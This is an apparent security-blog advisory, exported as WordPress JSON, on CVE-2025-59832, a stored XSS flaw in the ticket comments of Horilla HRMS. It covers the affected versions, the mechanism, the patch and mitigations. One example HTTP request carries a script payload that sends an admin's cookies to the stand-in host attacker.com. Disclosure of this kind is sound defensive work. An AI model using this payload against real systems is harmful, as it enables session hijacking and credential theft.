{"id":79457,"date":"2025-10-01T13:28:47","date_gmt":"2025-10-01T13:28:47","guid":{"rendered":""},"modified":"2025-10-28T11:37:24","modified_gmt":"2025-10-28T17:37:24","slug":"cve-2025-59832-stored-xss-vulnerability-in-horilla-hrms","status":"publish","type":"post","link":"https:\/\/www.ameeba.com\/blog\/cve-2025-59832-stored-xss-vulnerability-in-horilla-hrms\/","title":{"rendered":"<strong>CVE-2025-59832: Stored XSS Vulnerability in Horilla HRMS<\/strong>"},"content":{"rendered":"<p><strong>Overview<\/strong><\/p>\n<p>The CVE-2025-59832 is a potent vulnerability found in Horilla, a widely-used open source Human Resource Management System (HRMS). The flaw is a stored Cross-Site Scripting (XSS) vulnerability that could allow an attacker with low-privilege access to execute arbitrary JavaScript in an administrator&#8217;s browser. This has the potential to hijack the admin&#8217;s session, exfiltrate cookies or CSRF token, leading to a full <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-49401-critical-deserialization-of-untrusted-data-vulnerability-in-expresstech-systems-quiz-and-survey-master\/\"  data-wpil-monitor-id=\"87161\">system compromise or data<\/a> leakage.<br \/>\nGiven the popularity of Horilla as an HRMS solution, the vulnerability affects a broad range of organizations, potentially <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-55190-argo-cd-api-tokens-expose-sensitive-repository-credentials\/\"  data-wpil-monitor-id=\"87005\">exposing their sensitive<\/a> HR data to cyber threats. The <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-9864-high-severity-heap-corruption-vulnerability-in-google-chrome-v8-engine\/\"  data-wpil-monitor-id=\"87990\">severity of this vulnerability<\/a> underscores the importance of prompt patching and use of mitigation strategies to maintain system security.<\/p>\n<p><strong>Vulnerability Summary<\/strong><\/p>\n<p>CVE ID: CVE-2025-59832<br \/>\nSeverity: Critical (9.9 on the CVSS scale)<br \/>\nAttack Vector: Network<br \/>\nPrivileges Required: Low<br \/>\nUser Interaction: Required<br \/>\nImpact: <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2024-36326-bypassing-amd-romarmor-protections-to-compromise-system-security\/\"  data-wpil-monitor-id=\"87856\">System compromise<\/a>, data leakage<\/p>\n<p><strong>Affected Products<\/strong><\/p><div id=\"ameeb-3024697604\" class=\"ameeb-content-2 ameeb-entity-placement\"><div style=\"border-left: 4px solid #555; padding-left: 20px; margin: 48px 0; font-family: Roboto, sans-serif; color: #ffffff; line-height: 1.6; max-width: 700px;\">\r\n  <h2 style=\"margin-top: 0; font-size: 20px; font-weight: 600; display: flex; align-items: center;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"display: inline-flex; align-items: center; margin-right: 8px;\">\r\n      <img decoding=\"async\" src=\"https:\/\/www.ameeba.com\/blog\/wp-content\/uploads\/2025\/10\/Best-App-icon-Ameeba.png\" alt=\"Ameeba Chat Icon\" style=\"width: 40px; height: 40px;\" \/>\r\n    <\/a>\r\n    A new way to communicate\r\n  <\/h2>\r\n\r\n  <p style=\"margin-bottom: 12px;\">\r\n    Ameeba Chat is built on encrypted identity, not personal profiles.\r\n  <\/p>\r\n\r\n  <p style=\"margin-bottom: 16px;\">\r\n    Message, call, share files, and coordinate with identities kept separate.\r\n  <\/p>\r\n\r\n  <ul style=\"list-style: none; padding-left: 0; margin-bottom: 20px;\">\r\n    <li>\u2022 Encrypted identity<\/li>\r\n    <li>\u2022 Ameeba Chat authenticates access<\/li>\r\n    <li>\u2022 Aliases and categories<\/li>\r\n    <li>\u2022 End-to-end encrypted chat, calls, and files<\/li>\r\n    <li>\u2022 Secure notes for sensitive information<\/li>\r\n  <\/ul>\r\n\r\n  <p style=\"font-style: italic; font-weight: 600; margin-bottom: 24px;\">\r\n    Private communication, rethought.\r\n  <\/p>\r\n\r\n  <div style=\"display: flex; flex-wrap: wrap; gap: 12px;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\/download\" style=\"background-color: #ffffff; color: #000000; padding: 10px 20px; text-decoration: none; border-radius: 6px; font-weight: 500;\">Download Ameeba Chat<\/a>\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"border: 1px solid #ffffff; color: #ffffff; padding: 10px 20px; text-decoration: none; border-radius: 6px; font-weight: 500;\">Learn More<\/a>\r\n  <\/div>\r\n<\/div>\r\n<\/div>\n<p>Product | Affected Versions<\/p>\n<p>Horilla HRMS | Prior to version 1.4.0<\/p>\n<p><strong>How the Exploit Works<\/strong><\/p>\n<p>The exploit takes advantage of a stored <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-26210-deepseek-xss-vulnerability-allows-potential-system-compromise\/\"  data-wpil-monitor-id=\"86619\">XSS vulnerability<\/a> in the ticket comment editor of Horilla HRMS. An attacker, even with low-privilege access, could <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-53484-critical-javascript-injection-vulnerability-in-mediawiki-s-securepoll-extension\/\"  data-wpil-monitor-id=\"91328\">inject malicious JavaScript<\/a> into the comment section. This <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-55742-stored-cross-site-scripting-vulnerability-in-unopim\/\"  data-wpil-monitor-id=\"86872\">stored script<\/a> is then executed when an admin opens the ticket, leading to the execution of the script in the admin&#8217;s browser. This could lead to the exfiltration of the admin&#8217;s cookies or CSRF token and potentially enable the hijacking of their session.<\/p>\n<p><strong>Conceptual Example Code<\/strong><\/p><div id=\"ameeb-698076434\" class=\"ameeb-content ameeb-entity-placement\"><div class=\"poptin-embedded\" data-id=\"f6b387694f681\"><\/div>\r\n\r\n\r\n\r\n\r\n\r\n<\/div>\n<p>The following is a conceptual example of how the vulnerability might be exploited. It involves a POST request with a malicious payload.<\/p>\n<pre><code class=\"\" data-line=\"\">POST \/ticket\/comment HTTP\/1.1\nHost: target.example.com\nContent-Type: application\/json\n{\n&quot;comment&quot;: &quot;&lt;script&gt;document.location=&#039;http:\/\/attacker.com\/steal.php?cookie=&#039;+document.cookie;&lt;\/script&gt;&quot;\n}<\/code><\/pre>\n<p>In the example, the attacker injects a script that redirects the document location to their own server, appending the admin&#8217;s cookies to the URL which can be subsequently captured.<br \/>\nThis <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-30325-integer-overflow-vulnerability-in-photoshop-desktop-versions-leading-to-potential-system-compromise\/\"  data-wpil-monitor-id=\"91661\">vulnerability has been patched in version<\/a> 1.4.0 of Horilla HRMS. As a mitigation strategy, users are advised to promptly apply the patch or use Web Application Firewall (WAF) or Intrusion Detection System (IDS) as temporary mitigation.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Overview The CVE-2025-59832 is a potent vulnerability found in Horilla, a widely-used open source Human Resource Management System (HRMS). The flaw is a stored Cross-Site Scripting (XSS) vulnerability that could allow an attacker with low-privilege access to execute arbitrary JavaScript in an administrator&#8217;s browser. This has the potential to hijack the admin&#8217;s session, exfiltrate cookies [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"om_disable_all_campaigns":false,"footnotes":""},"categories":[1],"tags":[],"vendor":[],"product":[],"attack_vector":[90,81],"asset_type":[],"severity":[],"exploit_status":[],"class_list":["post-79457","post","type-post","status-publish","format-standard","hentry","category-uncategorized","attack_vector-csrf","attack_vector-xss"],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/79457","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/comments?post=79457"}],"version-history":[{"count":8,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/79457\/revisions"}],"predecessor-version":[{"id":84830,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/79457\/revisions\/84830"}],"wp:attachment":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/media?parent=79457"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/categories?post=79457"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/tags?post=79457"},{"taxonomy":"vendor","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/vendor?post=79457"},{"taxonomy":"product","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/product?post=79457"},{"taxonomy":"attack_vector","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/attack_vector?post=79457"},{"taxonomy":"asset_type","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/asset_type?post=79457"},{"taxonomy":"severity","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/severity?post=79457"},{"taxonomy":"exploit_status","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/exploit_status?post=79457"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}